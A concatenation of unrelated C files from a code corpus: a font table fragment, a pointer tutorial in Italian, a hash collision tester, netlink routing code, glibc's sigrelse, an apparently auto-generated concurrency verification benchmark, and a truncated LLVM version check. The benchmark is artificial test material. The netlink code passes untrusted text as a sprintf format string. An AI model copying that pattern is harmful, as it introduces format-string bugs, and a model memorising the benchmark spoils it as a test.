0x0028,0x0029,0x002a,0x002b,0x002c,0x002d,0x002e,0x002f,
0x0030,0x0031,0x0032,0x0033,0x0034,0x0035,0x0036,0x0037,
0x0038,0x0039,0x003a,0x003b,0x003c,0x003d,0x003e,0x003f,
0x0040,0x0041,0x0042,0x0043,0x0044,0x0045,0x0046,0x0047,
0x0048,0x0049,0x004a,0x004b,0x004c,0x004d,0x004e,0x004f,
0x0050,0x0051,0x0052,0x0053,0x0054,0x0055,0x0056,0x0057,
0x0058,0x0059,0x005a,0x005b,0x005c,0x005d,0x005e,0x005f,
0x0060,0x0061,0x0062,0x0063,0x0064,0x0065,0x0066,0x0067,
0x0068,0x0069,0x006a,0x006b,0x006c,0x006d,0x006e,0x006f,
0x0070,0x0071,0x0072,0x0073,0x0074,0x0075,0x0076,0x0077,
0x0078,0x0079,0x007a,0x007b,0x007c,0x007d,0x007e,0x007f,
};
//}}BLOCK(WaterfallStream2x16) |
the_stack_data/179829960.c | /* a37.c */
/* Chandra bug, 5/25/99 */
void f(void);
int main()
{
f();
return 0;
}
void f() {
}
|
the_stack_data/50138883.c |
// vedere anche:
// https://repl.it/@MarcoTessarotto/esempio-calloc-realloc-free
void swap_wrong(int a, int b) {
int temp;
temp = a;
a = b;
b = temp;
}
void swap(int * indirizzo_di_a, int * indirizzo_di_b) {
int temp;
temp = *indirizzo_di_a;
*indirizzo_di_a = *indirizzo_di_b;
*indirizzo_di_b = temp;
//// ciò che segue è sbagliato:
// int * temp;
// temp = indirizzo_di_a;
// indirizzo_di_a = indirizzo_di_b;
// indirizzo_di_b= temp;
}
int main(int argc, char * argv[]) {
int a = 100;
int b = 200;
int * ptr;
// &: restituisce l'indirizzo dell'oggetto in memoria
ptr = &a;
// * : operatore "indirezione" o "dereferencing"
*ptr = 300; // quale variabile viene modificata? a
//
ptr = &b;
*ptr = 400; // quale variabile viene modificata? b
*ptr = *ptr + 10; // il valore di b diventa 410
//
a = *ptr + 1;
// quanto vale a? 411
// a = 411, b = 410
swap_wrong(a,b);
// quale sarà il valore di a e b?
swap(&a, &b);
// potete usare il debugger per scoprire:
// quanto vale a?
// quanto vale b?
return 0;
}
|
the_stack_data/182953095.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define TableSize 90000
int count = 0;
void printCHAR(char *str)
{
while (*str) {
printf("%c", *str);
str++;
}
printf("\n");
}
unsigned int SDBMHash(char *str)
{
unsigned int hash = 0;
while (*str) {
// printf("%c",*str);
hash = (*str++) + (hash << 6) + (hash << 16) - hash;
}
// printf("\n");
return (hash);
}
// RS Hash Function
unsigned int RSHash(char *str)
{
unsigned int b = 378551;
unsigned int a = 63689;
unsigned int hash = 0;
while (*str) {
hash = hash * a + (*str++);
a *= b;
}
return (hash);
}
// JS Hash Function
unsigned int JSHash(char *str)
{
unsigned int hash = 1315423911;
while (*str) {
hash ^= ((hash << 5) + (*str++) + (hash >> 2));
}
return (hash);
}
// P. J. Weinberger Hash Function
unsigned int PJWHash(char *str)
{
unsigned int BitsInUnignedInt = (unsigned int) (sizeof(unsigned int) * 8);
unsigned int ThreeQuarters = (unsigned int) ((BitsInUnignedInt * 3) / 4);
unsigned int OneEighth = (unsigned int) (BitsInUnignedInt / 8);
unsigned int HighBits = (unsigned int) (0xFFFFFFFF)
<< (BitsInUnignedInt - OneEighth);
unsigned int hash = 0;
unsigned int test = 0;
while (*str) {
hash = (hash << OneEighth) + (*str++);
if ((test = hash & HighBits) != 0) {
hash = ((hash ^ (test >> ThreeQuarters)) & (~HighBits));
}
}
return (hash);
}
// ELF Hash Function
unsigned int ELFHash(char *str)
{
unsigned int hash = 0;
unsigned int x = 0;
while (*str) {
hash = (hash << 4) + (*str++);
if ((x = hash & 0xF0000000L) != 0) {
hash ^= (x >> 24);
hash &= ~x;
}
}
return (hash);
}
// BKDR Hash Function
unsigned int BKDRHash(char *str)
{
unsigned int seed = 131; // 31 131 1313 13131 131313 etc..
unsigned int hash = 0;
while (*str) {
hash = hash * seed + (*str++);
}
return (hash);
}
// DJB Hash Function
unsigned int DJBHash(char *str)
{
unsigned int hash = 5381;
while (*str) {
hash += (hash << 5) + (*str++);
}
return (hash);
}
// AP Hash Function
unsigned int APHash(char *str)
{
unsigned int hash = 0;
int i;
for (i = 0; *str; i++) {
if ((i & 1) == 0) {
hash ^= ((hash << 7) ^ (*str++) ^ (hash >> 3));
} else {
hash ^= (~((hash << 11) ^ (*str++) ^ (hash >> 5)));
}
}
return (hash);
}
static unsigned int djb2(char *str)
{
// const char *str = _str;
unsigned int hash = 5381;
char c;
while ((c = *str++)) {
hash = ((hash << 5) + hash) + c;
}
return (hash);
}
unsigned int jenkins(char *str)
{
// const char *key = _str;
unsigned int hash = 0;
while (*str) {
hash += *str;
hash += (hash << 10);
hash ^= (hash >> 6);
str++;
}
hash += (hash << 3);
hash ^= (hash >> 11);
hash += (hash << 15);
return (hash);
}
void testHash(unsigned int (*hash)(char *))
{
count = 0;
FILE *fp = fopen("data.txt", "r");
if (!fp) {
printf("error");
return;
}
char word[256];
int rtn = 0;
unsigned int *table = calloc(TableSize, sizeof(unsigned int));
while ((rtn = fscanf(fp, "%s", word)) != EOF) {
unsigned int res = hash(word);
// printCHAR(word);
unsigned int idx = (res % TableSize);
while (table[idx]) { // the content of table[idx] != hash
if (table[idx] == (res)) {
// printf("------------------\n");
count++;
break;
}
if (idx == TableSize - 1) {
idx = 0;
}
idx++;
}
table[idx] = res;
memset(word, 0, 255);
}
printf("the collision is: %d \n", count);
free(table);
fclose(fp);
}
int main()
{
testHash(SDBMHash);
testHash(RSHash);
testHash(JSHash);
testHash(PJWHash);
testHash(ELFHash);
testHash(BKDRHash);
testHash(DJBHash);
testHash(APHash);
testHash(DJBHash);
testHash(jenkins);
testHash(djb2);
}
|
the_stack_data/22521.c | #include <stdio.h>
#include <stdlib.h>
void consumer(int n){
//consume n
}
|
the_stack_data/134254.c | #include <stdio.h>
#include <stdlib.h>
int largest(int arr[], int n) {
int largest = arr[0];
for (int i = 1; i < n; i++) {
if (arr[i] > largest) {
largest = arr[i];
}
}
return largest;
}
int main() {
int values[10];
for (int i = 0; i < 10; i++) {
values[i] = rand();
printf("%d\n", values[i]);
}
printf("The largest is %d\n", largest(values, 10));
}
|
the_stack_data/113512.c | /*
*Wireless Driver API
*
*The Common API for Wireless
*
*Writed by dengkexi
*Under the GPL licence
*/
#include <asm/types.h>
#include <netinet/ether.h>
#include <netinet/in.h>
#include <net/if.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <sys/types.h>
#define BUFSIZE 8192
struct route_info{
u_int dstAddr;
u_int srcAddr;
u_int gateWay;
char ifName[IF_NAMESIZE];
};
int readNlSock(int sockFd, char *bufPtr, int seqNum, int pId)
{
struct nlmsghdr *nlHdr;
int readLen = 0, msgLen = 0;
do{
/* Recieve response from the kernel */
if((readLen = recv(sockFd, bufPtr, BUFSIZE - msgLen, 0)) < 0){
printf ("Socket recv error!\n");
return -1;
}
nlHdr = (struct nlmsghdr *)bufPtr;
/* Check if the header is valid */
if((NLMSG_OK(nlHdr, readLen) == 0) || (nlHdr->nlmsg_type == NLMSG_ERROR))
{
printf ("Recv packet error!\n");
return -1;
}
/* Check if the its the last message */
if(nlHdr->nlmsg_type == NLMSG_DONE) {
break;
}
else{
/* Else move the pointer to buffer appropriately */
bufPtr += readLen;
msgLen += readLen;
}
/* Check if its a multi part message */
if((nlHdr->nlmsg_flags & NLM_F_MULTI) == 0) {
/* return if its not */
break;
}
}while((nlHdr->nlmsg_seq != seqNum) || (nlHdr->nlmsg_pid != pId));
return msgLen;
}
/* For printing the routes. */
void printRoute(struct route_info *rtInfo)
{
char tempBuf[512];
/* Print Destination address */
if(rtInfo->dstAddr != 0)
strcpy(tempBuf, (char *)inet_ntoa(rtInfo->dstAddr));
else
sprintf(tempBuf,"*.*.*.*\t");
fprintf(stdout,"%s\t", tempBuf);
/* Print Gateway address */
if(rtInfo->gateWay != 0)
strcpy(tempBuf, (char *)inet_ntoa(rtInfo->gateWay));
else
sprintf(tempBuf,"*.*.*.*\t");
fprintf(stdout,"%s\t", tempBuf);
/* Print Interface Name*/
fprintf(stdout,"%s\t", rtInfo->ifName);
/* Print Source address */
if(rtInfo->srcAddr != 0)
strcpy(tempBuf, (char *)inet_ntoa(rtInfo->srcAddr));
else
sprintf(tempBuf,"*.*.*.*\t");
fprintf(stdout,"%s\n", tempBuf);
}
/* For parsing the route info returned */
void parseRoutes (struct nlmsghdr *nlHdr, struct route_info *rtInfo, char* name, char* gateway)
{
struct rtmsg *rtMsg;
struct rtattr *rtAttr;
int rtLen;
char *tempBuf = NULL;
tempBuf = (char *)malloc(100);
rtMsg = (struct rtmsg *)NLMSG_DATA(nlHdr);
/* If the route is not for AF_INET or does not belong to main routing table
then return. */
if((rtMsg->rtm_family != AF_INET) || (rtMsg->rtm_table != RT_TABLE_MAIN))
return;
/* get the rtattr field */
rtAttr = (struct rtattr *)RTM_RTA(rtMsg);
rtLen = RTM_PAYLOAD(nlHdr);
for(;RTA_OK(rtAttr,rtLen);rtAttr = RTA_NEXT(rtAttr,rtLen)){
switch(rtAttr->rta_type) {
case RTA_OIF:
if_indextoname(*(int *)RTA_DATA(rtAttr), rtInfo->ifName);
break;
case RTA_GATEWAY:
rtInfo->gateWay = *(u_int *)RTA_DATA(rtAttr);
break;
case RTA_PREFSRC:
rtInfo->srcAddr = *(u_int *)RTA_DATA(rtAttr);
break;
case RTA_DST:
rtInfo->dstAddr = *(u_int *)RTA_DATA(rtAttr);
break;
}
}
if (strstr((char *)inet_ntoa(rtInfo->dstAddr), "0.0.0.0"))
{
//Get the default name and ip
sprintf (name, rtInfo->ifName);
//printf ("%s\n", rtInfo->ifName);
sprintf (gateway, (char *)inet_ntoa(rtInfo->gateWay));
}
//printRoute(rtInfo);
free(tempBuf);
return;
}
int route_get_default_gateway (char* name, char* gateway)
{
struct nlmsghdr *nlMsg;
struct rtmsg *rtMsg;
struct route_info *rtInfo;
char msgBuf[BUFSIZE];
int sock, len, msgSeq = 0;
/* Create Socket */
if((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE)) < 0)
printf ("NETLINK_ROUTE create socket error!\n");
/* Initialize the buffer */
memset(msgBuf, 0, BUFSIZE);
/* point the header and the msg structure pointers into the buffer */
nlMsg = (struct nlmsghdr *)msgBuf;
rtMsg = (struct rtmsg *)NLMSG_DATA(nlMsg);
/* Fill in the nlmsg header*/
nlMsg->nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg)); // Length of message.
nlMsg->nlmsg_type = RTM_GETROUTE; // Get the routes from kernel routing table .
nlMsg->nlmsg_flags = NLM_F_DUMP | NLM_F_REQUEST; // The message is a request for dump.
nlMsg->nlmsg_seq = msgSeq++; // Sequence of the message packet.
nlMsg->nlmsg_pid = getpid(); // PID of process sending the request.
/* Send the request */
if(send(sock, nlMsg, nlMsg->nlmsg_len, 0) < 0){
printf("Write To Socket Failed...\n");
return -1;
}
/* Read the response */
if((len = readNlSock(sock, msgBuf, msgSeq, getpid())) < 0) {
printf("Read From Socket Failed...\n");
return -1;
}
/* Parse and print the response */
rtInfo = (struct route_info *)malloc(sizeof(struct route_info));
/* THIS IS THE NETTSTAT -RL code I commented out the printing here and in parse routes */
//fprintf(stdout, "Destination\tGateway\tInterface\tSource\n");
for(;NLMSG_OK(nlMsg,len);nlMsg = NLMSG_NEXT(nlMsg,len)){
memset(rtInfo, 0, sizeof(struct route_info));
parseRoutes(nlMsg, rtInfo, name, gateway);
}
free(rtInfo);
close(sock);
return 0;
}
|
the_stack_data/72969.c | /* Remove SIG from the calling process' signal mask.
Copyright (C) 1998-2019 Free Software Foundation, Inc.
This file is part of the GNU C Library.
Contributed by Ulrich Drepper <[email protected]>, 1998.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
#define __need_NULL
#include <signal.h>
#include <stddef.h>
int sigrelse(int sig)
{
sigset_t set;
sigemptyset(&set);
if (sigaddset(&set, sig) < 0)
return -1;
return __sigprocmask(SIG_UNBLOCK, &set, NULL);
}
|
the_stack_data/374006.c | extern void __VERIFIER_error() __attribute__ ((__noreturn__));
void __VERIFIER_assert(int expression) { if (!expression) { ERROR: /* assert not proved */
__VERIFIER_error(); }; return; }
int __global_lock;
void __VERIFIER_atomic_begin() { /* reachable */
/* reachable */
/* reachable */
/* reachable */
/* reachable */
/* reachable */
/* reachable */
/* reachable */
__VERIFIER_assume(__global_lock==0); __global_lock=1; return; }
void __VERIFIER_atomic_end() { __VERIFIER_assume(__global_lock==1); __global_lock=0; return; }
#include "assert.h"
#include "pthread.h"
#ifndef TRUE
#define TRUE (_Bool)1
#endif
#ifndef FALSE
#define FALSE (_Bool)0
#endif
#ifndef NULL
#define NULL ((void*)0)
#endif
#ifndef FENCE
#define FENCE(x) ((void)0)
#endif
#ifndef IEEE_FLOAT_EQUAL
#define IEEE_FLOAT_EQUAL(x,y) (x==y)
#endif
#ifndef IEEE_FLOAT_NOTEQUAL
#define IEEE_FLOAT_NOTEQUAL(x,y) (x!=y)
#endif
void * P0(void *arg);
void * P1(void *arg);
void * P2(void *arg);
void * P3(void *arg);
void fence();
void isync();
void lwfence();
int __unbuffered_cnt;
int __unbuffered_cnt = 0;
int __unbuffered_p0_EAX;
int __unbuffered_p0_EAX = 0;
_Bool __unbuffered_p0_EAX$flush_delayed;
int __unbuffered_p0_EAX$mem_tmp;
_Bool __unbuffered_p0_EAX$r_buff0_thd0;
_Bool __unbuffered_p0_EAX$r_buff0_thd1;
_Bool __unbuffered_p0_EAX$r_buff0_thd2;
_Bool __unbuffered_p0_EAX$r_buff0_thd3;
_Bool __unbuffered_p0_EAX$r_buff0_thd4;
_Bool __unbuffered_p0_EAX$r_buff1_thd0;
_Bool __unbuffered_p0_EAX$r_buff1_thd1;
_Bool __unbuffered_p0_EAX$r_buff1_thd2;
_Bool __unbuffered_p0_EAX$r_buff1_thd3;
_Bool __unbuffered_p0_EAX$r_buff1_thd4;
_Bool __unbuffered_p0_EAX$read_delayed;
int *__unbuffered_p0_EAX$read_delayed_var;
int __unbuffered_p0_EAX$w_buff0;
_Bool __unbuffered_p0_EAX$w_buff0_used;
int __unbuffered_p0_EAX$w_buff1;
_Bool __unbuffered_p0_EAX$w_buff1_used;
int __unbuffered_p0_EBX;
int __unbuffered_p0_EBX = 0;
int __unbuffered_p2_EAX;
int __unbuffered_p2_EAX = 0;
int __unbuffered_p2_EBX;
int __unbuffered_p2_EBX = 0;
_Bool main$tmp_guard0;
_Bool main$tmp_guard1;
int x;
int x = 0;
int y;
int y = 0;
_Bool y$flush_delayed;
int y$mem_tmp;
_Bool y$r_buff0_thd0;
_Bool y$r_buff0_thd1;
_Bool y$r_buff0_thd2;
_Bool y$r_buff0_thd3;
_Bool y$r_buff0_thd4;
_Bool y$r_buff1_thd0;
_Bool y$r_buff1_thd1;
_Bool y$r_buff1_thd2;
_Bool y$r_buff1_thd3;
_Bool y$r_buff1_thd4;
_Bool y$read_delayed;
int *y$read_delayed_var;
int y$w_buff0;
_Bool y$w_buff0_used;
int y$w_buff1;
_Bool y$w_buff1_used;
_Bool weak$$choice0;
_Bool weak$$choice1;
_Bool weak$$choice2;
void * P0(void *arg)
{
__VERIFIER_atomic_begin();
weak$$choice0 = nondet_0();
weak$$choice2 = nondet_0();
y$flush_delayed = weak$$choice2;
y$mem_tmp = y;
y = !y$w_buff0_used || !y$r_buff0_thd1 && !y$w_buff1_used || !y$r_buff0_thd1 && !y$r_buff1_thd1 ? y : (y$w_buff0_used && y$r_buff0_thd1 ? y$w_buff0 : y$w_buff1);
y$w_buff0 = weak$$choice2 ? y$w_buff0 : (!y$w_buff0_used || !y$r_buff0_thd1 && !y$w_buff1_used || !y$r_buff0_thd1 && !y$r_buff1_thd1 ? y$w_buff0 : (y$w_buff0_used && y$r_buff0_thd1 ? y$w_buff0 : y$w_buff0));
y$w_buff1 = weak$$choice2 ? y$w_buff1 : (!y$w_buff0_used || !y$r_buff0_thd1 && !y$w_buff1_used || !y$r_buff0_thd1 && !y$r_buff1_thd1 ? y$w_buff1 : (y$w_buff0_used && y$r_buff0_thd1 ? y$w_buff1 : y$w_buff1));
y$w_buff0_used = weak$$choice2 ? y$w_buff0_used : (!y$w_buff0_used || !y$r_buff0_thd1 && !y$w_buff1_used || !y$r_buff0_thd1 && !y$r_buff1_thd1 ? y$w_buff0_used : (y$w_buff0_used && y$r_buff0_thd1 ? FALSE : y$w_buff0_used));
y$w_buff1_used = weak$$choice2 ? y$w_buff1_used : (!y$w_buff0_used || !y$r_buff0_thd1 && !y$w_buff1_used || !y$r_buff0_thd1 && !y$r_buff1_thd1 ? y$w_buff1_used : (y$w_buff0_used && y$r_buff0_thd1 ? FALSE : FALSE));
y$r_buff0_thd1 = weak$$choice2 ? y$r_buff0_thd1 : (!y$w_buff0_used || !y$r_buff0_thd1 && !y$w_buff1_used || !y$r_buff0_thd1 && !y$r_buff1_thd1 ? y$r_buff0_thd1 : (y$w_buff0_used && y$r_buff0_thd1 ? FALSE : y$r_buff0_thd1));
y$r_buff1_thd1 = weak$$choice2 ? y$r_buff1_thd1 : (!y$w_buff0_used || !y$r_buff0_thd1 && !y$w_buff1_used || !y$r_buff0_thd1 && !y$r_buff1_thd1 ? y$r_buff1_thd1 : (y$w_buff0_used && y$r_buff0_thd1 ? FALSE : FALSE));
__unbuffered_p0_EAX$read_delayed = TRUE;
__unbuffered_p0_EAX$read_delayed_var = &y;
__unbuffered_p0_EAX = y;
y = y$flush_delayed ? y$mem_tmp : y;
y$flush_delayed = FALSE;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_p0_EBX = x;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_1();
}
void * P1(void *arg)
{
__VERIFIER_atomic_begin();
x = 1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_1();
}
void * P2(void *arg)
{
__VERIFIER_atomic_begin();
__unbuffered_p2_EAX = x;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
weak$$choice0 = nondet_0();
weak$$choice2 = nondet_0();
y$flush_delayed = weak$$choice2;
y$mem_tmp = y;
y = !y$w_buff0_used || !y$r_buff0_thd3 && !y$w_buff1_used || !y$r_buff0_thd3 && !y$r_buff1_thd3 ? y : (y$w_buff0_used && y$r_buff0_thd3 ? y$w_buff0 : y$w_buff1);
y$w_buff0 = weak$$choice2 ? y$w_buff0 : (!y$w_buff0_used || !y$r_buff0_thd3 && !y$w_buff1_used || !y$r_buff0_thd3 && !y$r_buff1_thd3 ? y$w_buff0 : (y$w_buff0_used && y$r_buff0_thd3 ? y$w_buff0 : y$w_buff0));
y$w_buff1 = weak$$choice2 ? y$w_buff1 : (!y$w_buff0_used || !y$r_buff0_thd3 && !y$w_buff1_used || !y$r_buff0_thd3 && !y$r_buff1_thd3 ? y$w_buff1 : (y$w_buff0_used && y$r_buff0_thd3 ? y$w_buff1 : y$w_buff1));
y$w_buff0_used = weak$$choice2 ? y$w_buff0_used : (!y$w_buff0_used || !y$r_buff0_thd3 && !y$w_buff1_used || !y$r_buff0_thd3 && !y$r_buff1_thd3 ? y$w_buff0_used : (y$w_buff0_used && y$r_buff0_thd3 ? FALSE : y$w_buff0_used));
y$w_buff1_used = weak$$choice2 ? y$w_buff1_used : (!y$w_buff0_used || !y$r_buff0_thd3 && !y$w_buff1_used || !y$r_buff0_thd3 && !y$r_buff1_thd3 ? y$w_buff1_used : (y$w_buff0_used && y$r_buff0_thd3 ? FALSE : FALSE));
y$r_buff0_thd3 = weak$$choice2 ? y$r_buff0_thd3 : (!y$w_buff0_used || !y$r_buff0_thd3 && !y$w_buff1_used || !y$r_buff0_thd3 && !y$r_buff1_thd3 ? y$r_buff0_thd3 : (y$w_buff0_used && y$r_buff0_thd3 ? FALSE : y$r_buff0_thd3));
y$r_buff1_thd3 = weak$$choice2 ? y$r_buff1_thd3 : (!y$w_buff0_used || !y$r_buff0_thd3 && !y$w_buff1_used || !y$r_buff0_thd3 && !y$r_buff1_thd3 ? y$r_buff1_thd3 : (y$w_buff0_used && y$r_buff0_thd3 ? FALSE : FALSE));
__unbuffered_p2_EBX = y;
y = y$flush_delayed ? y$mem_tmp : y;
y$flush_delayed = FALSE;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_1();
}
void * P3(void *arg)
{
__VERIFIER_atomic_begin();
y = 1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
y = y$w_buff0_used && y$r_buff0_thd4 ? y$w_buff0 : (y$w_buff1_used && y$r_buff1_thd4 ? y$w_buff1 : y);
y$w_buff0_used = y$w_buff0_used && y$r_buff0_thd4 ? FALSE : y$w_buff0_used;
y$w_buff1_used = y$w_buff0_used && y$r_buff0_thd4 || y$w_buff1_used && y$r_buff1_thd4 ? FALSE : y$w_buff1_used;
y$r_buff0_thd4 = y$w_buff0_used && y$r_buff0_thd4 ? FALSE : y$r_buff0_thd4;
y$r_buff1_thd4 = y$w_buff0_used && y$r_buff0_thd4 || y$w_buff1_used && y$r_buff1_thd4 ? FALSE : y$r_buff1_thd4;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_1();
}
void fence()
{
}
void isync()
{
}
void lwfence()
{
}
int main()
{
pthread_create(NULL, NULL, P0, NULL);
pthread_create(NULL, NULL, P1, NULL);
pthread_create(NULL, NULL, P2, NULL);
pthread_create(NULL, NULL, P3, NULL);
__VERIFIER_atomic_begin();
main$tmp_guard0 = __unbuffered_cnt == 4;
__VERIFIER_atomic_end();
__VERIFIER_assume(main$tmp_guard0);
__VERIFIER_atomic_begin();
y = y$w_buff0_used && y$r_buff0_thd0 ? y$w_buff0 : (y$w_buff1_used && y$r_buff1_thd0 ? y$w_buff1 : y);
y$w_buff0_used = y$w_buff0_used && y$r_buff0_thd0 ? FALSE : y$w_buff0_used;
y$w_buff1_used = y$w_buff0_used && y$r_buff0_thd0 || y$w_buff1_used && y$r_buff1_thd0 ? FALSE : y$w_buff1_used;
y$r_buff0_thd0 = y$w_buff0_used && y$r_buff0_thd0 ? FALSE : y$r_buff0_thd0;
y$r_buff1_thd0 = y$w_buff0_used && y$r_buff0_thd0 || y$w_buff1_used && y$r_buff1_thd0 ? FALSE : y$r_buff1_thd0;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
weak$$choice1 = nondet_0();
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
__unbuffered_p0_EAX = __unbuffered_p0_EAX$read_delayed ? (weak$$choice1 ? *__unbuffered_p0_EAX$read_delayed_var : __unbuffered_p0_EAX) : __unbuffered_p0_EAX;
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
main$tmp_guard1 = !(__unbuffered_p0_EAX == 1 && __unbuffered_p0_EBX == 0 && __unbuffered_p2_EAX == 1 && __unbuffered_p2_EBX == 0);
__VERIFIER_atomic_end();
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
__VERIFIER_assert(main$tmp_guard1);
/* reachable */
return 0;
}
|
the_stack_data/200142283.c | /* ===-- os_version_check.c - OS version checking -------------------------===
*
* The LLVM Compiler Infrastructure
*
* This file is dual licensed under the MIT and the University of Illinois Open
* Source Licenses. See LICENSE.TXT for details.
*
* ===----------------------------------------------------------------------===
*
* This file implements the function __isOSVersionAtLeast, used by
* Objective-C's @available
*
* ===----------------------------------------------------------------------===
*/
#ifdef __APPLE__
#include <TargetConditionals.h>
#include <dispatch/dispatch.h>
#include <dlfcn.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* These three variables hold the host's OS version. */
static int32_t GlobalMajor, GlobalMinor, GlobalSubminor;
static dispatch_once_t DispatchOnceCounter;
/* We can't include <CoreFoundation/CoreFoundation.h> directly from here, so
* just forward declare everything that we need from it. */
typedef const void *CFDataRef, *CFAllocatorRef, *CFPropertyListRef,
*CFStringRef, *CFDictionaryRef, *CFTypeRef, *CFErrorRef;
#if __LLP64__
typedef unsigned long long CFTypeID;
typedef unsigned long long CFOptionFlags;
typedef signed long long CFIndex;
#else
typedef unsigned long CFTypeID;
typedef unsigned long CFOptionFlags;
typedef signed long CFIndex;
#endif
typedef unsigned char UInt8;
typedef _Bool Boolean;
typedef CFIndex CFPropertyListFormat;
typedef uint32_t CFStringEncoding;
/* kCFStringEncodingASCII analog. */
#define CF_STRING_ENCODING_ASCII 0x0600
/* kCFStringEncodingUTF8 analog. */
#define CF_STRING_ENCODING_UTF8 0x08000100
#define CF_PROPERTY_LIST_IMMUTABLE 0
typedef CFDataRef (*CFDataCreateWithBytesNoCopyFuncTy)(CFAllocatorRef,
const UInt8 *, CFIndex,
CFAllocatorRef);
typedef CFPropertyListRef (*CFPropertyListCreateWithDataFuncTy)(
CFAllocatorRef, CFDataRef, CFOptionFlags, CFPropertyListFormat *,
CFErrorRef *);
typedef CFPropertyListRef (*CFPropertyListCreateFromXMLDataFuncTy)(
CFAllocatorRef, CFDataRef, CFOptionFlags, CFStringRef *);
typedef CFStringRef (*CFStringCreateWithCStringNoCopyFuncTy)(CFAllocatorRef,
const char *,
CFStringEncoding,
CFAllocatorRef);
typedef const void *(*CFDictionaryGetValueFuncTy)(CFDictionaryRef,
const void *);
typedef CFTypeID (*CFGetTypeIDFuncTy)(CFTypeRef);
typedef CFTypeID (*CFStringGetTypeIDFuncTy)(void);
typedef Boolean (*CFStringGetCStringFuncTy)(CFStringRef, char *, CFIndex,
CFStringEncoding);
typedef void (*CFReleaseFuncTy)(CFTypeRef);
/* Find and parse the SystemVersion.plist file. */
static void parseSystemVersionPList(void *Unused) {
(void)Unused;
/* Load CoreFoundation dynamically */
const void *NullAllocator = dlsym(RTLD_DEFAULT, "kCFAllocatorNull");
if (!NullAllocator)
return;
const CFAllocatorRef AllocatorNull = *(const CFAllocatorRef *)NullAllocator;
CFDataCreateWithBytesNoCopyFuncTy CFDataCreateWithBytesNoCopyFunc =
(CFDataCreateWithBytesNoCopyFuncTy)dlsym(RTLD_DEFAULT,
"CFDataCreateWithBytesNoCopy");
if (!CFDataCreateWithBytesNoCopyFunc)
return;
CFPropertyListCreateWithDataFuncTy CFPropertyListCreateWithDataFunc =
(CFPropertyListCreateWithDataFuncTy)dlsym(
RTLD_DEFAULT, "CFPropertyListCreateWithData");
/* CFPropertyListCreateWithData was introduced only in macOS 10.6+, so it
* will be NULL on earlier OS versions. */
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
CFPropertyListCreateFromXMLDataFuncTy CFPropertyListCreateFromXMLDataFunc =
(CFPropertyListCreateFromXMLDataFuncTy)dlsym(
RTLD_DEFAULT, "CFPropertyListCreateFromXMLData");
#pragma clang diagnostic pop
/* CFPropertyListCreateFromXMLDataFunc is deprecated in macOS 10.10, so it
* might be NULL in future OS versions. */
if (!CFPropertyListCreateWithDataFunc && !CFPropertyListCreateFromXMLDataFunc)
return;
CFStringCreateWithCStringNoCopyFuncTy CFStringCreateWithCStringNoCopyFunc =
(CFStringCreateWithCStringNoCopyFuncTy)dlsym(
RTLD_DEFAULT, "CFStringCreateWithCStringNoCopy");
if (!CFStringCreateWithCStringNoCopyFunc)
return;
CFDictionaryGetValueFuncTy CFDictionaryGetValueFunc =
(CFDictionaryGetValueFuncTy)dlsym(RTLD_DEFAULT, "CFDictionaryGetValue");
if (!CFDictionaryGetValueFunc)
return;
CFGetTypeIDFuncTy CFGetTypeIDFunc =
(CFGetTypeIDFuncTy)dlsym(RTLD_DEFAULT, "CFGetTypeID");
if (!CFGetTypeIDFunc)
return;
CFStringGetTypeIDFuncTy CFStringGetTypeIDFunc =
(CFStringGetTypeIDFuncTy)dlsym(RTLD_DEFAULT, "CFStringGetTypeID");
if (!CFStringGetTypeIDFunc)
return;
CFStringGetCStringFuncTy CFStringGetCStringFunc =
(CFStringGetCStringFuncTy)dlsym(RTLD_DEFAULT, "CFStringGetCString");
if (!CFStringGetCStringFunc)
return;
CFReleaseFuncTy CFReleaseFunc =
(CFReleaseFuncTy)dlsym(RTLD_DEFAULT, "CFRelease");
if (!CFReleaseFunc)
return;
char *PListPath = "/System/Library/CoreServices/SystemVersion.plist";
#if TARGET_OS_SIMULATOR
char *PListPathPrefix = getenv("IPHONE_SIMULATOR_ROOT");
if (!PListPathPrefix)
return;
char FullPath[strlen(PListPathPrefix) + strlen(PListPath) + 1];
strcpy(FullPath, PListPathPrefix);
strcat(FullPath, PListPath);
PListPath = FullPath;
#endif
FILE *PropertyList = fopen(PListPath, "r");
if (!PropertyList)
